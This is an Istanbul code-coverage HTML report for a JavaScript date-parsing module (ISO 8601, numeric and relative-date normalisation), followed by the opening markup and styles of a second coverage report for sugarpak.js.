<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-yes">80</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-yes">160</span>
<span class="cline-any cline-yes">160</span>
<span class="cline-any cline-yes">160</span>
<span class="cline-any cline-yes">160</span>
<span class="cline-any cline-yes">1440</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-yes">160</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-yes">1120</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-yes">1440</span>
<span class="cline-any cline-yes">320</span>
<span class="cline-any cline-yes">1120</span>
<span class="cline-any cline-yes">1120</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-yes">160</span>
<span class="cline-any cline-yes">160</span>
<span class="cline-any cline-yes">160</span>
<span class="cline-any cline-yes">1440</span>
<span class="cline-any cline-yes">1120</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-yes">320</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-yes">160</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-yes">1</span>
<span class="cline-any cline-yes">84</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-yes">84</span>
<span class="cline-any cline-yes">84</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-yes">84</span>
<span class="cline-any cline-yes">31</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-yes">53</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-yes">84</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-yes">84</span>
<span class="cline-any cline-yes">21</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-yes">84</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-yes">1</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-yes">454</span>
<span class="cline-any cline-yes">454</span>
<span class="cline-any cline-yes">374</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-yes">80</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-yes">80</span>
<span class="cline-any cline-no">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-yes">80</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-yes">1</span>
<span class="cline-any cline-yes">573</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-yes">375</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-yes">375</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-yes">368</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-yes">7</span>
<span class="cline-any cline-yes">1</span>
<span class="cline-any cline-yes">1</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-yes">6</span>
<span class="cline-any cline-yes">6</span>
<span class="cline-any cline-yes">2</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-yes">4</span>
<span class="cline-any cline-yes">12</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-yes">4</span>
<span class="cline-any cline-yes">4</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-yes">4</span>
<span class="cline-any cline-yes">4</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-yes">4</span>
<span class="cline-any cline-yes">4</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-yes">4</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-yes">1</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-yes">160</span>
<span class="cline-any cline-yes">160</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-yes">160</span>
<span class="cline-any cline-yes">160</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-yes">160</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-yes">160</span>
<span class="cline-any cline-yes">160</span>
<span class="cline-any cline-yes">160</span>
<span class="cline-any cline-yes">160</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-yes">160</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-yes">5</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-yes">4</span>
<span class="cline-any cline-yes">4</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-no">&nbsp;</span>
<span class="cline-any cline-no">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-yes">160</span>
<span class="cline-any cline-yes">160</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-yes">530</span>
<span class="cline-any cline-yes">2120</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-yes">530</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-yes">530</span>
<span class="cline-any cline-yes">530</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-yes">530</span>
<span class="cline-any cline-yes">530</span>
<span class="cline-any cline-yes">530</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-no">&nbsp;</span>
<span class="cline-any cline-no">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-yes">530</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-yes">1</span>
<span class="cline-any cline-neutral">&nbsp;</span></td><td class="text"><pre class="prettyprint lang-js">(function () {
	"use strict";
	Date.Parsing = {
		Exception: function (s) {
			this.message = "Parse error at '" + s.substring(0, 10) + " ...'";
		}
	};
	var $P = Date.Parsing;
	var dayOffsets = {
		standard: [0,31,59,90,120,151,181,212,243,273,304,334],
		leap: [0,31,60,91,121,152,182,213,244,274,305,335]
	};
&nbsp;
	$P.isLeapYear = function(year) {
		return ((year % 4 === 0) &amp;&amp; (year % 100 !== 0)) || (year % 400 === 0);
	};
&nbsp;
	var utils = {
		multiReplace : function (str, hash ) {
			var key;
			for (key in hash) {
				<span class="missing-if-branch" title="else path not taken" >E</span>if (Object.prototype.hasOwnProperty.call(hash, key)) {
					var regex;
					<span class="missing-if-branch" title="if path not taken" >I</span>if (typeof hash[key] === "function") {
&nbsp;
					} else {
						regex = (hash[key] instanceof RegExp) ? hash[key] : new RegExp(hash[key], "g");
					}
					str = str.replace(regex, key);
				}
			}
			return str;
		},
		getDayOfYearFromWeek : function (obj) {
			var d, jan4, offset;
			obj.weekDay = (!obj.weekDay &amp;&amp; <span class="branch-1 cbranch-no" title="branch not covered" >obj.weekDay !== 0)</span> ? <span class="branch-0 cbranch-no" title="branch not covered" >1 </span>: obj.weekDay;
			d = new Date(obj.year, 0, 4);
			jan4 = d.getDay() === 0 ? 7 : d.getDay(); // JS is 0 indexed on Sunday.
			offset = jan4+3;
			obj.dayOfYear = ((obj.week * 7) + (obj.weekDay === 0 ? <span class="branch-0 cbranch-no" title="branch not covered" >7 </span>: obj.weekDay))-offset;
			return obj;
		},
		getDayOfYear : function (obj, dayOffset) {
			if (!obj.dayOfYear) {
				obj = utils.getDayOfYearFromWeek(obj);
			}
			for (var i=0;i &lt;= dayOffset.length;i++) {
				if (obj.dayOfYear &lt; dayOffset[i] || i === dayOffset.length) {
					obj.day = obj.day ? <span class="branch-0 cbranch-no" title="branch not covered" >obj.day </span>: (obj.dayOfYear - dayOffset[i-1]);
					break;
				} else {
					obj.month = i;
				}
			}
			return obj;
		},
		adjustForTimeZone : function (obj, date) {
			var offset;
			if (obj.zone.toUpperCase() === "Z" || (obj.zone_hours === 0 &amp;&amp; obj.zone_minutes === 0)) {
				// it's UTC/GML so work out the current timeszone offset
				offset = -date.getTimezoneOffset();
			} else {
				offset = (obj.zone_hours*60) + (obj.zone_minutes || 0);
				if (obj.zone_sign === "+") {
					offset *= -1;
				}
				offset -= date.getTimezoneOffset();
			}
			date.setMinutes(date.getMinutes()+offset);
			return date;
		},
		setDefaults : function (obj) {
			obj.year = obj.year || Date.today().getFullYear();
			obj.hours = obj.hours || 0;
			obj.minutes = obj.minutes || 0;
			obj.seconds = obj.seconds || 0;
			obj.milliseconds = obj.milliseconds || 0;
			if (!(!obj.month &amp;&amp; (obj.week || obj.dayOfYear))) {
				// if we have a month, or if we don't but don't have the day calculation data
				obj.month = obj.month || 0;
				obj.day = obj.day || 1;
			}
			return obj;
		},
		dataNum: function (data, mod, explict, postProcess) {
			var dataNum = data*1;
			if (mod) {
				if (postProcess) {
					return data ? mod(data)*1 : data;
				} else {
					return data ? mod(dataNum) : data;
				}
			} else if (!explict){
				return data ? dataNum : data;
			} else {
				return (data &amp;&amp; typeof data !== "undefined") ? dataNum : data;
			}
		},
		timeDataProcess: function (obj) {
			var timeObj = {};
			for (var x in obj.data) {
				<span class="missing-if-branch" title="else path not taken" >E</span>if (obj.data.hasOwnProperty(x)) {
					timeObj[x] = obj.ignore[x] ? obj.data[x] : utils.dataNum(obj.data[x], obj.mods[x], obj.explict[x], obj.postProcess[x]);
				}
			}
			if (obj.data.secmins) {
				obj.data.secmins = obj.data.secmins.replace(",", ".") * 60;
				if (!timeObj.minutes) {
					timeObj.minutes = obj.data.secmins;
				} else <span class="missing-if-branch" title="else path not taken" >E</span>if (!timeObj.seconds) {
					timeObj.seconds = obj.data.secmins;
				}
				delete obj.secmins;
			}
			return timeObj;
		},
		buildTimeObjectFromData: function (data) {
			var time = utils.timeDataProcess({
				data: {
					year : data[1],
					month : data[5],
					day : data[7],
					week : data[8],
					dayOfYear : data[10],
					hours : data[15],
					zone_hours : data[23],
					zone_minutes : data[24],
					zone : data[21],
					zone_sign : data[22],
					weekDay : data[9],
					minutes: data[16],
					seconds: data[19],
					milliseconds: data[20],
					secmins: data[18]
				},
				mods: {
					month: function(data) {
						return data-1;
					},
					weekDay: function (data) {
						data = Math.abs(data);
						return (data === 7 ? <span class="branch-0 cbranch-no" title="branch not covered" >0 </span>: data);
					},
					minutes: function (data) {
						return data.replace(":","");
					},
					seconds: function (data) {
						return Math.floor( (data.replace(":","").replace(",","."))*1 );
					},
					milliseconds: function (data) {
						return (data.replace(",",".")*1000);
					}
				},
				postProcess: {
					minutes: true,
					seconds: true,
					milliseconds: true
				},
				explict: {
					zone_hours: true,
					zone_minutes: true
				},
				ignore: {
					zone: true,
					zone_sign: true,
					secmins: true
				}
			});
			return time;
		},
		addToHash: function (hash, keys, data) {
			keys = keys;
			data = data;
			var len = keys.length;
			for (var i = 0; i &lt; len; i++) {
			  hash[keys[i]] = data[i];
			}
			return hash;
		},
		combineRegex: function (r1, r2) {
			return new RegExp("(("+r1.source+")\\s("+r2.source+"))");
		},
		getDateNthString: function(add, last, inc){
			if (add) {
				return Date.today().addDays(inc).toString("d");
			} else <span class="missing-if-branch" title="else path not taken" >E</span>if (last) {
				return Date.today().last()[inc]().toString("d");
			}
			
		},
		buildRegexData: function (array) {
			var arr = [];
			var len = array.length;
			for (var i=0; i &lt; len; i++) {
				if (Array.isArray(array[i])) {
					arr.push(this.combineRegex(array[i][0], array[i][1]));
				} else {
					arr.push(array[i]);
				}
			}
			return arr;
		}
	};
&nbsp;
	$P.processTimeObject = function (obj) {
		var date, dayOffset;
&nbsp;
		utils.setDefaults(obj);
		dayOffset = ($P.isLeapYear(obj.year)) ? dayOffsets.leap : dayOffsets.standard;
&nbsp;
		if (!obj.month &amp;&amp; (obj.week || obj.dayOfYear)) {
			utils.getDayOfYear(obj, dayOffset);
		} else {
			obj.dayOfYear = dayOffset[obj.month] + obj.day;
		}
&nbsp;
		date = new Date(obj.year, obj.month, obj.day, obj.hours, obj.minutes, obj.seconds, obj.milliseconds);
&nbsp;
		if (obj.zone) {
			utils.adjustForTimeZone(obj, date); // adjust (and calculate) for timezone
		}
		return date;
	};
	
	$P.ISO = {
		regex : /^([\+-]?\d{4}(?!\d{2}\b))((-?)((0[1-9]|1[0-2])(\3([12]\d|0[1-9]|3[01]))?|W([0-4]\d|5[0-3])(-?[1-7])?|(00[1-9]|0[1-9]\d|[12]\d{2}|3([0-5]\d|6[1-6])))([T\s]((([01]\d|2[0-4])((:?)[0-5]\d)?|24\:?00)([\.,]\d+(?!:))?)?(\17[0-5]\d([\.,]\d+)?)?\s?([zZ]|([\+-])([01]\d|2[0-3]):?([0-5]\d)?)?)?)?$/,
		parse : function (s) {
			var time, data = s.match(this.regex);
			if (!data || !data.length) {
				return null;
			}
&nbsp;
			time = utils.buildTimeObjectFromData(data);
&nbsp;
			<span class="missing-if-branch" title="if path not taken" >I</span>if (!time.year || (!time.year &amp;&amp; (<span class="branch-2 cbranch-no" title="branch not covered" >!time.month </span>&amp;&amp; <span class="branch-3 cbranch-no" title="branch not covered" >!time.day)</span> &amp;&amp; (<span class="branch-4 cbranch-no" title="branch not covered" >!time.week </span>&amp;&amp; <span class="branch-5 cbranch-no" title="branch not covered" >!time.dayOfYear)</span>) ) {
<span class="cstat-no" title="statement not covered" >				return null;</span>
			}
			return $P.processTimeObject(time);
		}
	};
&nbsp;
	$P.Numeric = {
		isNumeric: function (e){return!isNaN(parseFloat(e))&amp;&amp;isFinite(e);},
		regex: /\b([0-1]?[0-9])([0-3]?[0-9])([0-2]?[0-9]?[0-9][0-9])\b/i,
		parse: function (s) {
			var data, i,
				time = {},
				order = Date.CultureInfo.dateElementOrder.split("");
			if (!(this.isNumeric(s)) || // if it's non-numeric OR
				(s[0] === "+" &amp;&amp; <span class="branch-2 cbranch-no" title="branch not covered" >s[0] === "-")</span>) {			// It's an arithmatic string (eg +/-1000)
				return null;
			}
			if (s.length &lt; 5 &amp;&amp; s.indexOf(".") &lt; 0 &amp;&amp; s.indexOf("/") &lt; 0) { // assume it's just a year.
				time.year = s;
				return $P.processTimeObject(time);
			}
			data = s.match(this.regex);
			if (!data || !data.length) {
				return null;
			}
			for (i=0; i &lt; order.length; i++) {
				switch(order[i]) {
					case "d":
						time.day = data[i+1];
						break;
					case "m":
						time.month = (data[i+1]-1);
						break;
					case "y":
						time.year = data[i+1];
						break;
				}
			}
			return $P.processTimeObject(time);
		}
	};
&nbsp;
	$P.Normalizer = {
		regexData: function () {
			var $R = Date.CultureInfo.regexPatterns;
			return utils.buildRegexData([
				$R.tomorrow,
				$R.yesterday,
				[$R.past, $R.mon],
				[$R.past, $R.tue],
				[$R.past, $R.wed],
				[$R.past, $R.thu],
				[$R.past, $R.fri],
				[$R.past, $R.sat],
				[$R.past, $R.sun]
			]);
		},
		basicReplaceHash : function() {
			var $R = Date.CultureInfo.regexPatterns;
			return {
				"January": $R.jan.source,
				"February": $R.feb,
				"March": $R.mar,
				"April": $R.apr,
				"May": $R.may,
				"June": $R.jun,
				"July": $R.jul,
				"August": $R.aug,
				"September": $R.sep,
				"October": $R.oct,
				"November": $R.nov,
				"December": $R.dec,
				"": /\bat\b/gi,
				" ": /\s{2,}/,
				"am": $R.inTheMorning,
				"9am": $R.thisMorning,
				"pm": $R.inTheEvening,
				"7pm":$R.thisEvening
			};
		},
		keys : function(){
			return [
				utils.getDateNthString(true, false, 1),				// tomorrow
				utils.getDateNthString(true, false, -1),			// yesterday
				utils.getDateNthString(false, true, "monday"),		//last mon
				utils.getDateNthString(false, true, "tuesday"),		//last tues
				utils.getDateNthString(false, true, "wednesday"),	//last wed
				utils.getDateNthString(false, true, "thursday"),	//last thurs
				utils.getDateNthString(false, true, "friday"),		//last fri
				utils.getDateNthString(false, true, "saturday"),	//last sat
				utils.getDateNthString(false, true, "sunday")		//last sun
			];
		},
		buildRegexFunctions: function () {
			var $R = Date.CultureInfo.regexPatterns;
			var __ = Date.i18n.__;
			var tomorrowRE = new RegExp("(\\b\\d\\d?("+__("AM")+"|"+__("PM")+")? )("+$R.tomorrow.source.slice(1)+")", "i"); // adapted tomorrow regex for AM PM relative dates
			var todayRE = new RegExp($R.today.source + "(?!\\s*([+-]))\\b"); // today, but excludes the math operators (eg "today + 2h")
			
			this.replaceFuncs = [
				[todayRE, function (full) {
					return (full.length &gt; 1) ? Date.today().toString("d") : full;
				}],
				[tomorrowRE,
				function(full, m1) {
					var t = Date.today().addDays(1).toString("d");
					return (t + " " + m1);
				}],
				[$R.amThisMorning, <span class="fstat-no" title="function not covered" >function(str, am){<span class="cstat-no" title="statement not covered" ></span>return am;}</span>],
				[$R.pmThisEvening, <span class="fstat-no" title="function not covered" >function(str, pm){<span class="cstat-no" title="statement not covered" ></span>return pm;}</span>]
			];
				
		},
		buildReplaceData: function () {
			this.buildRegexFunctions();
			this.replaceHash = utils.addToHash(this.basicReplaceHash(), this.keys(), this.regexData());
		},
		stringReplaceFuncs: function (s) {
			for (var i=0; i &lt; this.replaceFuncs.length; i++) {
				s = s.replace(this.replaceFuncs[i][0], this.replaceFuncs[i][1]);
			}
			return s;
		},
		parse: function (s) {
			s = this.stringReplaceFuncs(s);
			s = utils.multiReplace(s, this.replaceHash);
&nbsp;
			try {
				var n = s.split(/([\s\-\.\,\/\x27]+)/);
				<span class="missing-if-branch" title="if path not taken" >I</span>if (n.length === 3 &amp;&amp;
					$P.Numeric.isNumeric(n[0]) &amp;&amp;
					$P.Numeric.isNumeric(n[2]) &amp;&amp;
					(n[2].length &gt;= 4)) {
						// ok, so we're dealing with x/year. But that's not a full date.
						// This fixes wonky dateElementOrder parsing when set to dmy order.
<span class="cstat-no" title="statement not covered" >						if (Date.CultureInfo.dateElementOrder[0] === "d") {</span>
<span class="cstat-no" title="statement not covered" >							s = "1/" + n[0] + "/" + n[2]; </span>// set to 1st of month and normalize the seperator
						}
				}
			} catch (e) {}
&nbsp;
			return s;
		}
	};
	$P.Normalizer.buildReplaceData();
}());</pre></td></tr>
</table></pre>

</div>
<div class="footer">
    <div class="meta">Generated by <a href="http://istanbul-js.org/" target="_blank">istanbul</a> at Sun Nov 16 2014 12:08:33 GMT-0800 (PST)</div>
</div>

<script src="../prettify.js"></script>

<script src="https://yui-s.yahooapis.com/3.6.0/build/yui/yui-min.js"></script>
<script>

    YUI().use('datatable', function (Y) {

        var formatters = {
          pct: function (o) {
              o.className += o.record.get('classes')[o.column.key];
              try {
                  return o.value.toFixed(2) + '%';
              } catch (ex) { return o.value + '%'; }
          },
          html: function (o) {
              o.className += o.record.get('classes')[o.column.key];
              return o.record.get(o.column.key + '_html');
          }
        },
          defaultFormatter = function (o) {
              o.className += o.record.get('classes')[o.column.key];
              return o.value;
          };

        function getColumns(theadNode) {
            var colNodes = theadNode.all('tr th'),
                cols = [],
                col;
            colNodes.each(function (colNode) {
                col = {
                    key: colNode.getAttribute('data-col'),
                    label: colNode.get('innerHTML') || ' ',
                    sortable: !colNode.getAttribute('data-nosort'),
                    className: colNode.getAttribute('class'),
                    type: colNode.getAttribute('data-type'),
                    allowHTML: colNode.getAttribute('data-html') === 'true' || colNode.getAttribute('data-fmt') === 'html'
                };
                col.formatter = formatters[colNode.getAttribute('data-fmt')] || defaultFormatter;
                cols.push(col);
            });
            return cols;
        }

        function getRowData(trNode, cols) {
            var tdNodes = trNode.all('td'),
                    i,
                    row = { classes: {} },
                    node,
                    name;
            for (i = 0; i < cols.length; i += 1) {
                name = cols[i].key;
                node = tdNodes.item(i);
                row[name] = node.getAttribute('data-value') || node.get('innerHTML');
                row[name + '_html'] = node.get('innerHTML');
                row.classes[name] = node.getAttribute('class');
                //Y.log('Name: ' + name + '; Value: ' + row[name]);
                if (cols[i].type === 'number') { row[name] = row[name] * 1; }
            }
            //Y.log(row);
            return row;
        }

        function getData(tbodyNode, cols) {
            var data = [];
            tbodyNode.all('tr').each(function (trNode) {
                data.push(getRowData(trNode, cols));
            });
            return data;
        }

        function replaceTable(node) {
            if (!node) { return; }
            var cols = getColumns(node.one('thead')),
                data = getData(node.one('tbody'), cols),
                table,
                parent = node.get('parentNode');

            table = new Y.DataTable({
                columns: cols,
                data: data,
                sortBy: 'file'
            });
            parent.set('innerHTML', '');
            table.render(parent);
        }

        Y.on('domready', function () {
            replaceTable(Y.one('div.coverage-summary table'));
            if (typeof prettyPrint === 'function') {
                prettyPrint();
            }
        });
    });
</script>
</body>
</html>
sugarpak.js.html000066600000147611152444006550007705 0ustar00<!doctype html>
<html lang="en">
<head>
    <title>Code coverage report for core/sugarpak.js</title>
    <meta charset="utf-8">

    <link rel="stylesheet" href="../prettify.css">

    <style>
        body, html {
            margin:0; padding: 0;
        }
        body {
            font-family: Helvetica Neue, Helvetica,Arial;
            font-size: 10pt;
        }
        div.header, div.footer {
            background: #eee;
            padding: 1em;
        }
        div.header {
            z-index: 100;
            position: fixed;
            top: 0;
            border-bottom: 1px solid #666;
            width: 100%;
        }
        div.footer {
            border-top: 1px solid #666;
        }
        div.body {
            margin-top: 10em;
        }
        div.meta {
            font-size: 90%;
            text-align: center;
        }
        h1, h2, h3 {
            font-weight: normal;
        }
        h1 {
            font-size: 12pt;
        }
        h2 {
            font-size: 10pt;
        }
        pre {
            font-family: Consolas, Menlo, Monaco, monospace;
            margin: 0;
            padding: 0;
            line-height: 14px;
            font-size: 14px;
            -moz-tab-size: 2;
            -o-tab-size:  2;
            tab-size: 2;
        }

        div.path { font-size: 110%; }
        div.path a:link, div.path a:visited { color: #000; }
        table.coverage { border-collapse: collapse; margin:0; padding: 0 }

        table.coverage td {
            margin: 0;
            padding: 0;
            color: #111;
            vertical-align: top;
        }
        table.coverage td.line-count {
            width: 50px;
            text-align: right;
            padding-right: 5px;
        }
        table.coverage td.line-coverage {
            color: #777 !important;
            text-align: right;
            border-left: 1px solid #666;
            border-right: 1px solid #666;
        }

        table.coverage td.text {
        }

        table.coverage td span.cline-any {
            display: inline-block;
            padding: 0 5px;
            width: 40px;
        }
        table.coverage td span.cline-neutral {
            background: #eee;
        }
        table.coverage td span.cline-yes {
            background: #b5d592;
            color: #999;
        }
        table.coverage td span.cline-no {
            background: #fc8c84;
        }

        .cstat-yes { color: #111; }
        .cstat-no { background: #fc8c84; color: #111; }
        .fstat-no { background: #ffc520; color: #111 !important; }
        .cbranch-no { background:  yellow !important; color: #111; }

        .cstat-skip { background: #ddd; color: #111; }
        .fstat-skip { background: #ddd; color: #111 !important; }
        .cbranch-skip { background: #ddd !important; color: #111; }

        .missing-if-branch {
            display: inline-block;
            margin-right: 10px;
            position: relative;
            padding: 0 4px;
            background: black;
            color: yellow;
        }

        .skip-if-branch {
            display: none;
            margin-right: 10px;
            position: relative;
            padding: 0 4px;
            background: #ccc;
            color: white;
        }

        .missing-if-branch .typ, .skip-if-branch .typ {
            color: inherit !important;
        }

        .entity, .metric { font-weight: bold; }
        .metric { display: inline-block; border: 1px solid #333; padding: 0.3em; background: white; }
        .metric small { font-size: 80%; font-weight: normal; color: #666; }

        div.coverage-summary table { border-collapse: collapse; margin: 3em; font-size: 110%; }
        div.coverage-summary td, div.coverage-summary table  th { margin: 0; padding: 0.25em 1em; border-top: 1px solid #666; border-bottom: 1px solid #666; }
        div.coverage-summary th { text-align: left; border: 1px solid #666; background: #eee; font-weight: normal; }
        div.coverage-summary th.file { border-right: none !important; }
        div.coverage-summary th.pic { border-left: none !important; text-align: right; }
        div.coverage-summary th.pct { border-right: none !important; }
        div.coverage-summary th.abs { border-left: none !important; text-align: right; }
        div.coverage-summary td.pct { text-align: right; border-left: 1px solid #666; }
        div.coverage-summary td.abs { text-align: right; font-size: 90%; color: #444; border-right: 1px solid #666; }
        div.coverage-summary td.file { text-align: right; border-left: 1px solid #666; white-space: nowrap;  }
        div.coverage-summary td.pic { min-width: 120px !important;  }
        div.coverage-summary a:link { text-decoration: none; color: #000; }
        div.coverage-summary a:visited { text-decoration: none; color: #333; }
        div.coverage-summary a:hover { text-decoration: underline; }
        div.coverage-summary tfoot td { border-top: 1px solid #666; }

        div.coverage-summary .yui3-datatable-sort-indicator, div.coverage-summary .dummy-sort-indicator {
            height: 10px;
            width: 7px;
            display: inline-block;
            margin-left: 0.5em;
        }
        div.coverage-summary .yui3-datatable-sort-indicator {
            background: url("https://yui-s.yahooapis.com/3.6.0/build/datatable-sort/assets/skins/sam/sort-arrow-sprite.png") no-repeat scroll 0 0 transparent;
        }
        div.coverage-summary .yui3-datatable-sorted .yui3-datatable-sort-indicator {
            background-position: 0 -20px;
        }
        div.coverage-summary .yui3-datatable-sorted-desc .yui3-datatable-sort-indicator {
            background-position: 0 -10px;
        }

        .high { background: #b5d592 !important; }
        .medium { background: #ffe87c !important; }
        .low { background: #fc8c84 !important; }

        span.cover-fill, span.cover-empty {
            display:inline-block;
            border:1px solid #444;
            background: white;
            height: 12px;
        }
        span.cover-fill {
            background: #ccc;
            border-right: 1px solid #444;
        }
        span.cover-empty {
            background: white;
            border-left: none;
        }
        span.cover-full {
            border-right: none !important;
        }
        pre.prettyprint {
            border: none !important;
            padding: 0 !important;
            margin: 0 !important;
        }
        .com { color: #999 !important; }
        .ignore-none { color: #999; font-weight: normal; }

    </style>
</head>
<body>
